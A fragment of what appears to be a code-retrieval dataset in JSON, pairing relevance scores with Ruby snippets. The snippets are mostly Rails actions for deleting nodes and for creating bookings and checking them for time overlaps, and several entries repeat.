Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e0910e588a3df464be7e0f783090a4f6", "score": "0.6357225", "text": "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e0910e588a3df464be7e0f783090a4f6", "score": "0.6357225", "text": "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e0910e588a3df464be7e0f783090a4f6", "score": "0.6357225", "text": "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e0910e588a3df464be7e0f783090a4f6", "score": "0.6357225", "text": "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9ca39a88b65a676180788d17f647911a", "score": "0.63566816", "text": "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/\" }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "4daba97ce54ede119047f92f7c340a82", "score": "0.63546145", "text": "def unlink(node)\n @nodes.delete(node.key)\n\n if node.directory?\n for key, node in node.nodes\n unlink(node)\n end\n end\n end", "title": "" }, { "docid": "4a4ab489205fdd20550ef29121950b7b", "score": "0.6351409", "text": "def destroy\n Bindery::Persistence::ElasticSearch.client.delete(id: node.persistent_id, index: node.pool_id, type:node.model_id )\n end", "title": "" }, { "docid": "b6c2a7743288e2d68f6edeea89e9f085", "score": "0.6342393", "text": "def remove_node(node)\n @nodetarget2lastoutage.delete_if { |n,t| n[0] == node }\n @vps_2_targets_never_seen.delete node\n @problems_at_the_source.delete node\n @outdated_nodes.delete node\n FailureIsolation.CurrentNodes.delete node\n @not_sshable.delete node\n end", "title": "" }, { "docid": "20f71bb1dab2350c82e62cef5087cb7b", "score": "0.633839", "text": "def node_delete(node)\n connection[nodes_collection].find(_id: node).delete_one\n end", "title": "" }, { "docid": "39031ed5d498fc3a5d689e61e5b53a26", "score": "0.63332504", "text": "def removeNode(name)\n @name2node[name] = nil\n write(\"X #{name}\")\n write(\"s #{name} RESET\")\n end", "title": "" }, { "docid": "208a17973f0ae5b0357bae624f81554f", "score": "0.6326824", "text": "def destroy\r\n @node = Node.find(params[:id])\r\n @node.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to root_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "f8571aae539d517b7eba7d043a15f1f6", "score": "0.6323726", "text": "def destroy\n @node_model.destroy\n respond_to do |format|\n format.html { redirect_to node_models_url, notice: 'Node model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e74eae001faf0ea982bf43e7de99a81c", "score": "0.6320754", "text": "def on_node_delete(node)\n true\n end", "title": "" }, { "docid": "7b82f2b32de559caece1cd710b87e4a0", "score": "0.6318793", "text": "def remove_node\n cmd = './removeNode.sh'\n cmd << \" -username #{new_resource.admin_user} -password #{new_resource.admin_password}\" if new_resource.admin_user && new_resource.admin_password\n\n execute \"removeNode #{profile_bin_dir}\" do\n cwd new_resource.bin_dir\n user new_resource.run_user\n command cmd\n sensitive new_resource.sensitive_exec\n action :run\n end\n end", "title": "" }, { "docid": "25156562f69ae54c0a5f29eabbe00be2", "score": "0.6316239", "text": "def destroy\n @exch_node.destroy\n respond_to do |format|\n format.html { redirect_to exch_nodes_url, notice: 'Exch node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4bc720854820e3707aec7d10e11f2126", "score": "0.63112015", "text": "def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to orgchart.nodes_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c488831aa6540b457a41eb2da3d0dfea", "score": "0.629671", "text": "def delete_node(node)\n node.val = node.next.val\n node.next = node.next.next\nend", "title": "" }, { "docid": "4d0e8f56f31fdb5193a56d121e66a363", "score": "0.62879676", "text": "def delete_from_graph(node)\nend", "title": "" }, { "docid": "6590dda1ca21fa045e1c49665a2466ef", "score": "0.627291", "text": "def destroy_empty\n if content.empty? and children.empty?()\n _unhook!\n destroy\n else\n raise \"Refusing to delete node: it either has content or children.\"\n end\n end", "title": "" }, { "docid": "2a5633e8df0a69bdf69390910d6bf1d9", "score": "0.6263989", "text": "def free_node(u)\n [u.parent, u.left, u.right].each { |x| x = nil }\n u = nil\n end", "title": "" }, { "docid": "55af333fdf39015b8b0ceec17800703e", "score": "0.62638897", "text": "def remove!(node)\n super\n key_to_node.delete(node.key)\n self\n end", "title": "" }, { "docid": "aa866d47c147e5c4f3a0e9fb493e6676", "score": "0.62604314", "text": "def remove_child(node)\n `#@native.removeChild(#{Native.try_convert(node)})`\n self\n end", "title": "" }, { "docid": "8bd9c76946cae6b55de60d59f37047d4", "score": "0.62586355", "text": "def destroy\n #primitives in structs are without parent\n parent and parent.children.delete self\n end", "title": "" }, { "docid": "1e792a9a5a3a29676c95c092f3eb9f1b", "score": "0.6251707", "text": "def destroy\n @system_node.destroy\n respond_to do |format|\n format.html { redirect_to system_nodes_url, notice: 'System node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "05df11eb3d5cf62337efb16d4fa7e7b1", "score": "0.6246882", "text": "def remove_node_tag(node)\n @db.execute('DELETE FROM node_tag WHERE node = ?', node)\n end", "title": "" }, { "docid": "829d1c73c8232125b9652609bf20c987", "score": "0.6244692", "text": "def destroy\n @destoryed = true\n end", "title": "" }, { "docid": "07b288fd956708c405b826cd6fb0f370", "score": "0.6240064", "text": "def decline\n self.destroy\n end", "title": "" }, { "docid": "76960137a8fcaaf2bab98328c611d21a", "score": "0.6224378", "text": "def destroy\n identity&.destroy\n super\n end", "title": "" }, { "docid": "76960137a8fcaaf2bab98328c611d21a", "score": "0.6224378", "text": "def destroy\n identity&.destroy\n super\n end", "title": "" }, { "docid": "6221ba4a8077932574b4c350a4bec3dc", "score": "0.6209379", "text": "def remove_node(node)\n structure[node][:incoming].each do |other_node|\n structure[other_node][:outgoing] -= [node]\n end\n\n structure.delete(node)\n\n nil\n end", "title": "" }, { "docid": "5cfef19dba1730ae3b3581a48a792b8d", "score": "0.61806285", "text": "def remove_node(node)\n cspsearchpath.delete(node)\n end", "title": "" } ]
7c093222d5fd81607a360ce79d39f559
Checks all bookings in the database to see if the current space has been booked for the time in the newly created booking
[ { "docid": "e32b4d003dee7efc1a04ddd8c87df0b2", "score": "0.737152", "text": "def check_overlap\n bookings = @parking_space.booking.all\n booking = booking_params.values\n for currentBooking in bookings\n if booking.at(3).to_i < currentBooking.finish_time.to_i && currentBooking.start_time.to_i < booking.at(4).to_i\n return true\n end \n end\n return false\n end", "title": "" } ]
[ { "docid": "5189b5925f484abc0280016208ffbb0a", "score": "0.74929714", "text": "def checkIfBooked\n booking_start_time = Time.parse(get_booking[\"date\"].to_s)\n hours_booked = get_booking[\"hours_booked\"].to_i\n booking_stop_time = booking_start_time + (3600 * hours_booked)\n dates_booked = get_tutor[\"dates_booked\"]\n lesson_block = 14400\n bookings_array = []\n dates_booked.each do |date|\n start_time = Time.parse(date[\"date\"].to_s)\n stop_time = start_time + lesson_block\n if(booking_start_time >= start_time && booking_start_time <= stop_time)\n bookings_array.push(date)\n elsif(start_time >= booking_start_time && start_time <= booking_stop_time)\n bookings_array.push(date)\n end\n \n end\n if(bookings_array.length >= 1)\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "eb1fd7c2e7ebe98af4888eb25df767e5", "score": "0.7226282", "text": "def free_time_frame?\n started_booking_time = Booking.where(start_time: start_time)\n\n if started_booking_time.present? && (started_booking_time.ids.first != id)\n errors.add(:start_time, 'Sorry, this hour is already booked')\n end\n end", "title": "" }, { "docid": "c61c532fc5f60005e2f43743c5abe128", "score": "0.71917063", "text": "def create\n @booking = Booking.new(booking_params)\n @current_room_bookings = Booking.where('room_id=?', @booking.room_id);\n overlap = false;\n @current_room_bookings.each do |old_booking|\n endTime = old_booking.booking_start_time + 2*60*60;\n currentEndTime = @booking.booking_start_time + 2*60*60;\n if(@booking.booking_start_time...currentEndTime).overlaps?(old_booking.booking_start_time...endTime)\n respond_to do |format|\n format.html { redirect_to new_booking_path, notice: \"Booking for that time slot already exists!\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n overlap = true;\n break;\n end\n end\n if(!overlap)\n respond_to do |format|\n if @booking.save\n format.html { redirect_to home_path, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking}\n UserMailer.welcome_email(@booking).deliver!\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "3c0f0b799d940a9f73c7e76428fe1fc2", "score": "0.7109869", "text": "def is_slot_alloted?\n\t\tif self.company.bookings.find_by_date_of_booking(self.date_of_booking)\n\t\t\tif self.new_record?\n\t\t\t\tdays_booking = self.company.bookings.where(date_of_booking: self.date_of_booking)\n\t\t\telse\n\t\t\t\tdays_booking = self.company.bookings.where(date_of_booking: self.date_of_booking).where.not(id: self.id)\n\t\t\tend\n\t\t\tdays_booking.each do |x|\n\t\t\t\tunless x.slot != self.slot\n\t\t\t\t\tself.errors[:allocated_slot] << \"=> This slot is already alloted\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "340f54dfa84bd52ebd78c2347d353af7", "score": "0.70560014", "text": "def booked?\n if self.appointments.count == 0\n return false # It is not booked.\n elsif self.appointments.count == 2\n return true # It is booked.\n elsif self.appointments.count == 1 and !self.appointments.last.closed?\n return false # It is not booked.\n else\n return true # It is booked.\n end\n end", "title": "" }, { "docid": "789d8650880fa57ddfcd9b7a75efc647", "score": "0.6972845", "text": "def no_time_overlap\n @other_bookings = Booking.where(:date => date)\n @other_bookings.each do |other_booking|\n if other_booking.time.strftime(\"%I:%M%p\") == time.strftime(\"%I:%M%p\") && other_booking.room_id == room_id\n errors.add(:time, \"Cannot book, overlapping sessions!\")\n end\n end\n end", "title": "" }, { "docid": "8e32a80151c9713a01ef323236ab6811", "score": "0.6961384", "text": "def create\n check = 0\n @booking_history = BookingHistory.new(booking_history_params)\n # @booked_list = BookingHistory.all\n #@booked_entry = @booked_list.select do |bh|\n # bh.room_num == @booking_history.room_num && bh.date == Date.today + 7.days\n #end\n @room_details = LibraryRoom.find_by_number(@booking_history.room_num)\n @booking_history.building = @room_details.building\n @booking_history.size = @room_details.size\n @booked_entry = BookingHistory.where(\"room_num = ? AND date = ?\",@booking_history.room_num,@booking_history.date ).order(:start_t)\n\n @booked_entry.each do |entry|\n if entry != nil\n then\n\n if (((@booking_history.end_t <= entry.start_t)\\\n || (@booking_history.start_t >= entry.end_t))\\\n && ((@booking_history.start_t == @booking_history.end_t - 1) || (@booking_history.start_t == @booking_history.end_t - 2 )))\n then\n check = 0\n else\n check = 1\n end\n end\n end\n\n\n\n respond_to do |format|\n if check ==0\n if (@booking_history.save)\n flash[:notice] = \"Booking was successfully created. Booking id #{@booking_history.id}\"\n format.html { redirect_to booking_histories_path}\n # format.json { render :show, status: :created, location: @booking_history }\n else\n flash[:notice] = \"Booking was failed. Booking id #{@booking_history.id}\"\n format.html { redirect_to booking_histories_path }\n # format.json { render json: @booking_history.errors, status: :unprocessable_entity }\n end\n else\n if((@booking_history.start_t == @booking_history.end_t - 1) || (@booking_history.start_t == @booking_history.end_t - 2 ))\n flash[:notice] = \"Cannot book for more than 2 hours\"\n else\n flash[:notice] = \"Booking failed due to time conflict. Booking id #{@booking_history.id}\"\n end\n format.html { redirect_to booking_histories_path }\n end\n\n end\n end", "title": "" }, { "docid": "35800a4cc78130178fb205988f0378c0", "score": "0.6960871", "text": "def are_reservable?\n reservable = true\n @restaurant.tables.find_each do |table|\n table.bookings.find_each do |booking|\n next unless @end_date.between?(booking.start_time, booking.end_time) ||\n @start_date.between?(booking.start_time, booking.end_time)\n reservable = false\n end\n end\n reservable\n end", "title": "" }, { "docid": "57b0eb25fbc2df7278c1b4d80570d855", "score": "0.6959214", "text": "def make_booking!(start_time, end_time)\n starthour = Time.parse(start_time).strftime(\"%k:%M\")\n endhour = Time.parse(end_time).strftime(\"%k:%M\")\n startmonth = Time.parse(start_time).strftime(\"%B\" )\n endmonth = Time.parse(end_time).strftime(\"%B\")\n startday = Time.parse(start_time).strftime(\"%d\")\n endday = Time.parse(end_time).strftime(\"%d\")\n \n if is_available?(start_time, end_time)\n @parking_space[:bookings].push({start_time: start_time, end_time: end_time})\n puts \"Your parking has been booked for €#{calculate_price(start_time, end_time)}\"\n else\n if days_between(start_time, end_time) == 0\n puts \"There are no spaces available on #{startday}#{ordinal(startday)} #{startmonth} from #{starthour} to #{endhour}.\"\n else \n puts \"There are no spaces available from #{startday}#{ordinal(startday)}, #{startmonth} - #{endday}#{ordinal(endday)}, #{endhour}.\"\n end\n end\n\n puts \"\"\nend", "title": "" }, { "docid": "202a9c1f8ec2cd30591f3632cfa6a875", "score": "0.6860252", "text": "def create\n\n @booking = Booking.new(booking_params)\n @room = Room.where(\"roomno = ?\", @booking.roomno)\n if @room.nil? or @room.empty?\n flash[:notice] = \"Room not found !\"\n render 'bookings/new' and return\n end\n if current_user.usertype != \"Admin\" and current_user.usertype != 'Super Admin'\n @user = User.where(\"email LIKE ?\", @booking.booked_user)\n else\n @user = User.where(\"email LIKE ?\", @booking.booked_user)\n if @user.nil? or @user.empty?\n flash[:notice] = \"User not found !\"\n render 'bookings/new' and return\n end\n end\n if @booking.starttime.past?\n flash[:notice] = \"You cannot book for the day before today !\"\n render 'bookings/new' and return\n end\n if (@booking.starttime-7.days).future?\n flash[:notice] = \"You cannot book for a day i.e 7 days after today !\"\n render 'bookings/new' and return\n end\n @current_bookings = Booking.where(\"roomno = ? and ? <= endtime and starttime <= ? \", @booking.roomno,\n @booking.starttime, @booking.endtime)\n if not @current_bookings.nil? and not @current_bookings.empty?\n puts @current_bookings.first.starttime\n puts @current_bookings.first.roomno\n flash[:notice] = \"This room is not available at this time. There is another booking which starts at #{@current_bookings.first.starttime} \"\n render 'bookings/new' and return\n end\n if @booking.starttime > @booking.endtime\n flash[:notice] = \"Booking start time can't be greater than end time\"\n render 'bookings/new' and return\n end\n\n if @booking.starttime + 2.hours < @booking.endtime\n flash[:notice] = \"Booking can be made only for 2 hours at a time\"\n render 'bookings/new' and return\n end\n @booking.room_id = @room.first.id\n @booking.user_id = @user.first.id\n flash[:notice] = \"#{@booking.user_id}\"\n @newroom = Room.find(@booking.room_id)\n BookingMailer.booking_email(@booking.starttime,@booking.endtime,@booking.booked_user,@booking.roomno,@newroom.building).deliver_now!\n emails=params[:emails]\n values=emails.split(\",\")\n values.each do |value|\n BookingMailer.booking_email(@booking.starttime,@booking.endtime,value,@booking.roomno,@newroom.building).deliver_now!\n end\n respond_to do |format|\n\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "374978327396a7f41a686f7fcfa06cd2", "score": "0.68568444", "text": "def create\n @status = \"Booked\"\n @status_notice = 'booking was successfully created.'\n @bookings = Booking.where(:conference_room_id => params[:conference_room_id])\n @bookings.each do |booking| \n if (booking.start_time..booking.end_time).cover?(params[:booking][:start_time]) || (booking.start_time..booking.end_time).cover?(params[:booking][:end_time]) || (params[:booking][:start_time]..params[:booking][:end_time]).cover?(booking.start_time) || (params[:booking][:start_time]..params[:booking][:end_time]).cover?(booking.end_time)\n @status = \"Pending\"\n @status_notice = \"Sorry, Your requested slot is already Booked. so your requestis Pending state.\"\n end\n end\n\n respond_to do |format|\n if params[:booking][:start_time].to_date.wday == 0 || params[:booking][:end_time].to_date.wday == 0 || params[:booking][:start_time].to_date.wday == 6 || params[:booking][:end_time].to_date.wday == 6\n format.html { redirect_to portal_conference_room_bookings_url, alert: 'Sorry!, Bookings are not allowed on Weekend.' }\n else \n if Time.now < params[:booking][:start_time] && params[:booking][:start_time] < params[:booking][:end_time]\n @booking = Booking.new(:conference_room_id => params[:conference_room_id], :status => @status, :user_id => current_user.id, :start_time => params[:booking][:start_time], :end_time => params[:booking][:end_time], :created_at => Time.now)\n if @booking.save!\n \n @user = User.find(@booking.user_id)\n if @status == \"Booked\"\n ExampleMailer.booking_email(@user, @booking).deliver\n elsif @status == \"Pending\"\n ExampleMailer.pending_email(@user, @booking).deliver\n end\n\n format.html { redirect_to portal_conference_room_bookings_url, notice: @status_notice }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to portal_conference_room_bookings_url, alert: 'Please Book Conference Room for future date.' }\n end \n end\n end\n end", "title": "" }, { "docid": "82bf7e32a97663a6b20fdd760beb4d0a", "score": "0.6818452", "text": "def check_bookings\n puts \"is it running?\"\n if self.bookings.any?\n puts \"there are bookings\"\n self.errors[:base] << \"This suite has an active booking and thus can't be deleted\"\n return false\n else\n \"it didn't run\"\n return true\n end\n end", "title": "" }, { "docid": "fdc9ce9b64288be63dc233ecd8513f40", "score": "0.67749876", "text": "def check_overlapping_dates\n # compare this new booking againsts existing bookings\n listing.bookings.each do |old_booking|\n if overlap?(self, old_booking)\n return errors.add(:overlapping_dates, \"The booking dates conflict with existing bookings\") \n end\n end\n\n end", "title": "" }, { "docid": "007d63ee1909970727c09e095e07b1a5", "score": "0.67695194", "text": "def date_time_check?\n booking_date_time = booking_date.to_datetime\n booking = Booking.where(\"cleaner_id = ? and booking_date > ? and booking_date < ?\", cleaner_id, booking_date_time - 2.hours, booking_date_time + 2.hours)\n if booking.present?\n errors.add('Sorry', \"This Cleaner #{cleaner.first_name} is not available in your select time\")\n end\n end", "title": "" }, { "docid": "68171b8b652ca70509d96eab6a3c8e37", "score": "0.67327", "text": "def create\n # Check for dates/times overlapping\n puts current_user[:id], \"CURRENT USER\"\n overlap = Booking.where('end_date > ? AND start_date < ?', booking_params[:start_date], booking_params[:end_date])\n\n # If room is free, create booking\n if overlap.length.zero? \n booking = Booking.create!(booking_params)\n render json: { status: 'SUCCESS', message: 'Booking created', data: booking }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Cannot create booking, date already booked' }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "21ee6f160f093cdbff7d0f19e0e0ac6a", "score": "0.6700606", "text": "def no_boat_available?\n num_of_not_yard_status_boat = Boat.where(boat_class_id: self.boat_class_id).not_in_yard.count\n num_of_not_yard_by_date = Boat.ransack(\n boat_class_id_eq: self.boat_class_id,\n status_eq: Boat.statuses[:yard],\n yard_end_date_lt: self.start_date\n ).result.count\n\n num_of_boat_blocked = BookingNumOfBoatBlockedService.new(self).perform\n\n num_boats_of_class = num_of_not_yard_status_boat + num_of_not_yard_by_date - num_of_boat_blocked\n num_booking_of_class_q = {\n start_date_or_end_date_in: self.start_date..self.end_date,\n status_in: [\n Booking.statuses[:tba],\n Booking.statuses[:confirmed],\n Booking.statuses[:in_use],\n Booking.statuses[:processing]\n ],\n g: [{\n boat_boat_class_id_eq: boat_class_id,\n g: [{\n boat_id_present: 0,\n boat_class_id_eq: boat_class_id\n }],\n m: \"or\"\n }]\n }\n num_booking_of_class_q[:id_not_eq] = id if id.present?\n num_booking_of_class = Booking.ransack(num_booking_of_class_q).result.length\n\n # 877 - 2 bookings per day\n # Doesnot count those booking with departure_time after Setting.second_booking_depart_from\n second_booking_depart_from = Setting.second_booking_depart_from\n return num_booking_of_class >= num_boats_of_class if second_booking_depart_from.blank?\n num_of_late_booking_on_end_date_q = {\n start_date_eq: end_date,\n departure_time_in_sec_gteq: Setting.second_booking_depart_from,\n status_in: [\n Booking.statuses[:tba],\n Booking.statuses[:confirmed],\n Booking.statuses[:in_use],\n Booking.statuses[:processing]\n ],\n g: [{\n boat_boat_class_id_eq: boat_class_id,\n g: [{\n boat_id_present: 0,\n boat_class_id_eq: boat_class_id\n }],\n m: \"or\"\n }]\n }\n num_of_late_booking_on_end_date_q[:id_not_eq] = id if id.present?\n num_of_late_booking_on_end_date = Booking.ransack(num_of_late_booking_on_end_date_q).result.length\n\n (num_booking_of_class - num_of_late_booking_on_end_date) >= num_boats_of_class\n end", "title": "" }, { "docid": "64314d2edf773c5aa7133071b717662f", "score": "0.668861", "text": "def create\n @booking = Booking.new(booking_params)\n Room.where(:room_type_id => @booking.room_type_id).each do |room| \n @booking.room = room \n if (Booking.overlapping(@booking)).size == 0\n respond_to do |format|\n if @booking.save\n format.html {\n redirect_to \"/bookings/#{@booking.id}/payment\", notice: 'Booking was successfully created.' \n return;\n }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { \n render :new \n return\n }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end\n \n end\n\n end", "title": "" }, { "docid": "e865dfa0bfbb00d18f822504465e84a1", "score": "0.6679713", "text": "def bookable?(date)\n date < booking_date_limit\n end", "title": "" }, { "docid": "67be2416cf94c46ae96bb5934e1926c1", "score": "0.6641884", "text": "def check_overlapping_dates\n\t # compare this new booking againsts existing bookings\n\t listing.reservations.each do |old_reservation|\n\t if overlap?(self, old_reservation)\n\t return errors.add(:overlapping_dates, \"The booking dates conflict with existing bookings\") \n\t end\n\t end\n\tend", "title": "" }, { "docid": "2cc9b0b485b105b9c12204e82d04e81d", "score": "0.6633515", "text": "def create\n\n @booking = Booking.new(booking_params)\n \n start_time=@booking.start_time.time\n end_time=@booking.end_time.time\n\n # General case 1 : The starting time should always be lesser than the Ending time\n # General case 2 : One player should not play for more than 4 hours\n \n if start_time>=end_time || TimeDifference.between(start_time, end_time).in_hours > 4 || TimeDifference.between(start_time, end_time).in_minutes < 10\n flash[:notice]=\"Invalid BookingTime\"\n return redirect_to new_booking_path\n end\n \n if Booking.where(:date=>@booking.date).select(:start_time,:end_time,:date).present?\n\n @b=Booking.where(:date=>@booking.date).select(:start_time,:end_time,:date)\n else\n @booking.save\n flash[:notice]=\"Booking saved\"\n\n return redirect_to home_index_path\n end\n\n @count=0\n @b.each do |booking|\n\n \n if (start_time.hour..end_time.hour).overlaps?(booking.start_time.hour..booking.end_time.hour)\n @count=@count+1\n if(start_time.hour==booking.end_time.hour && start_time.min>=booking.end_time.min)\n @count=@count-1\n end\n \n if(end_time.hour==booking.start_time.hour && end_time.min<=booking.start_time.min)\n @count=@count-1\n end\n end\n\n end\n\n if @count<4\n flash[:notice]=\"Available\"\n @booking.save\n redirect_to @booking\n else\n redirect_to new_booking_path\n flash[:notice]= \"Slot not available\"\n end\n\n end", "title": "" }, { "docid": "5606cc15a85f7c9024d1748ca44d2be6", "score": "0.66058594", "text": "def overlapping_dates\n reservation = Reservation.find(params[:id])\n space = reservation.space\n\n start_date = reservation.start_date.to_date\n end_date = reservation.end_date.to_date\n\n confirmed_bookings = space.reservations.where(approved: true)\n\n check = confirmed_bookings.where('? <= DATE(start_date) AND DATE(end_date) <= ?', start_date, end_date)\n return unless check.any?\n\n flash[:danger] = 'You already confirmed another booking request with overlapping dates.'\n redirect_to your_reservations_path\n end", "title": "" }, { "docid": "791fc193a7bd3da3cbb34f630222e755", "score": "0.65859425", "text": "def availability?(start_date, end_date)\n start_date = Date.parse(start_date)\n end_date = Date.parse(end_date)\n bookings = self.get_bookings(id: self.id)\n if bookings.length > 0\n bookings.each do |booking|\n if (start_date > booking.start_date && start_date < booking.end_date) || (end_date > booking.start_date && end_date < booking.end_date)\n false\n end\n end\n true\n end\n end", "title": "" }, { "docid": "e0beda61f038391bc8eaba0f1eed0aff", "score": "0.6575402", "text": "def check_if_status_is_booked\n\t\tif booking_status == BookingStatus.find_by_status(\"Booked\")\n\t\t\t@trips = TripsToUser.find_all_by_post_id(self.id)\n\t\t\t@trips.each do |trip|\n\t\t\t\tNotification.create(\n\t\t user_id: trip.user_who_agreed_id,\n\t\t notification_type: NotificationType.find_by_name(\"trip_confirmed\").id,\n\t\t title: \"Trip has been confirmed.\",\n\t\t message: \"Your trip with #{self.user} is official, click the link below to view the trip details.\",\n\t\t related_id: self.id\n\t\t )\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "4fd7175722e30a66447b19a99b37a88c", "score": "0.6574237", "text": "def add_booking(gymclass)\n numofbookings = gymclass.count_num_of_bookings()\n if gymclass.check_space(numofbookings) == true\n save()\n else\n return \"We can't book it!\"\n end\n end", "title": "" }, { "docid": "2409df3f383f786dac1ebe03358b2b3d", "score": "0.6546749", "text": "def check_over_due\n time = Time.now\n @time_table.each{ |book, date|\n if date <= time\n puts \"Bro #{book} is overdue\"\n @overdue = true\n end\n }\n end", "title": "" }, { "docid": "d6ceba298dfaf0037c1aa0fded960c2c", "score": "0.6546594", "text": "def available_time_slot date_of_booking\n\t\tif date_of_booking.gsub(/[-]+/,\"\").to_i != Time.zone.now.strftime(\"%Y%m%d\").to_i\n\t\t\tresource_slot = self.timeslots\n\t\t\tif self.bookings.where(date_of_booking:date_of_booking).where(status:1)\n\t\t\t\tbookings_of_day = self.bookings.where(date_of_booking: date_of_booking).where(status:1)\n\t\t\t\tbookings_of_day.each do |x|\n\t\t\t\t\tresource_slot.delete_at(x.slot)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tresource_slot = next_time_slots\n\t\tend\n\t\tresource_slot\n\tend", "title": "" }, { "docid": "6a5e57c74956712460edd8fa0ad1c393", "score": "0.65465355", "text": "def show\n @booking = @boat.bookings.build(user: current_user)\n @booking.start_time = Time.zone.tomorrow + 9.hours\n @booking.end_time = Time.zone.tomorrow + 18.hours\n @booking.people_on_board = 1\n #TODO disable also booked(accepted) days\n end", "title": "" }, { "docid": "67059bf47d24970fd14ed8a397b36389", "score": "0.6546027", "text": "def create\n @parking_space = ParkingSpace.find(booking_params.values.at(2))\n if check_overlap\n redirect_to booking_fail_path\n return\n end\n parking_space.booking.create(booking_params)\n redirect_to root_path\n end", "title": "" }, { "docid": "a505446f7c1702b3486d3f695efebaf3", "score": "0.64883584", "text": "def create\n invalid_booking = false\n duration = params[:booking][:duration].to_i\n quantity = params[:booking][:quantity].to_i\n bk_day = params[:booking][:booking_day]\n bk_day = Date.strptime(bk_day, '%Y-%m-%d')\n last_day = bk_day + duration.days\n room = params[:booking][:room_id]\n @bookings = []\n @availability_update = []\n\n #Check Availability for room on each day and given quantity.\n #If all available for all days, create bookings and save.\n #Reduce Availability quantity for each day.\n\n (bk_day..last_day).each {|day|\n available = Availability.where(available_day:day).where(room_id:room).where(\"quantity>?\",quantity).first\n\n if available\n #build on params and given date.\n #then add to array of bookings/\n @booking = current_user.bookings.build(booking_params)\n @booking.booking_day = day\n @bookings << @booking\n available.quantity = available.quantity - quantity\n @availability_update << available\n else\n invalid_booking = true\n break\n end\n }\n\n if !invalid_booking\n @bookings.each(&:save!)\n @availability_update.each(&:save!)\n render :json => current_user.bookings, status: :created\n else\n puts 'invalid booking'\n render :json => current_user.bookings, status: :unprocessable_entity\n end\n\n end", "title": "" }, { "docid": "8c8c1a5079d2891cec81ecb7acc692d4", "score": "0.6470317", "text": "def check_dates\n dates_already_booked = [date_in, date_out]\n body.bookings.each do |b|\n dates_already_booked << b.date_in\n dates_already_booked << b.date_out\n end\n dates_already_booked.sort!\n idx_in = dates_already_booked.index(date_in)\n idx_out = dates_already_booked.index(date_out)\n if idx_in + 1 == idx_out && idx_in % 2 == 0\n true\n else\n throw(:abort)\n end\n end", "title": "" }, { "docid": "d75159193b1255e3182170843daee00e", "score": "0.6457186", "text": "def available_for?(checking_date, checkout_date)\n Booking.where(island: self.island)\n .where(\"check_in > ? OR check_out < ? \", checkout_date, checking_date)\n .length == Booking.where(island: self.island).length\n end", "title": "" }, { "docid": "1e4f9e5943e24a6f60368781da7d948b", "score": "0.6447087", "text": "def destroy_booking?\n if user_signed_in? && current_user.bookings.last != nil\n current_user.bookings.where(paid: false).destroy_all if (Time.now - current_user.bookings.last.created_at ) / 60 >= 5\n end\n end", "title": "" }, { "docid": "0df2cfe35b901d582a4661115cf0af75", "score": "0.64136565", "text": "def index\n # @bookings = Booking.all\n @booking = Booking.new\n @room = Room.new\n @rooms = Room.all\n @selected_date = DateTime.now\n @bookings = Booking.where(:start_time => @selected_date.beginning_of_day..@selected_date.end_of_day)\n @timeNow = Time.now\n @startTime = @timeNow.beginning_of_day() + (8*60*60)\n @endTime = @timeNow.beginning_of_day() + (18*60*60)\n\n end", "title": "" }, { "docid": "3b4c384c13378d07ad155fa7673ed389", "score": "0.64098656", "text": "def check_overlapping_dates\n #compare this new reservation against existing reservations\n listing.reservations.each do |old_booking|\n if overlap?(self, old_booking)\n return errors.add(:overlapping_dates, \"The booking dates are not available\")\n end\n end\n\n end", "title": "" }, { "docid": "7e3481f30267773466e1991b05cfaee7", "score": "0.6339768", "text": "def create\n puts \"------params create #{params.inspect}\"\n # @booking = current_user.bookings.create(booking_params)\n # redirect_to @booking.item, notice: \"Your booking has been created...\"\n @item = Item.find(params[:item_id])\n @booking = @item.bookings.build(booking_params)\n\n @booking.user = current_user\n\n if params[:commit] == 'Book'\n puts @booking.start_date.strftime(\"%Y-%m-%d\").inspect\n @start_date = @booking.start_date.strftime(\"%Y-%m-%d\")\n @end_date = @booking.end_date.strftime(\"%Y-%m-%d\")\n\n found = false\n 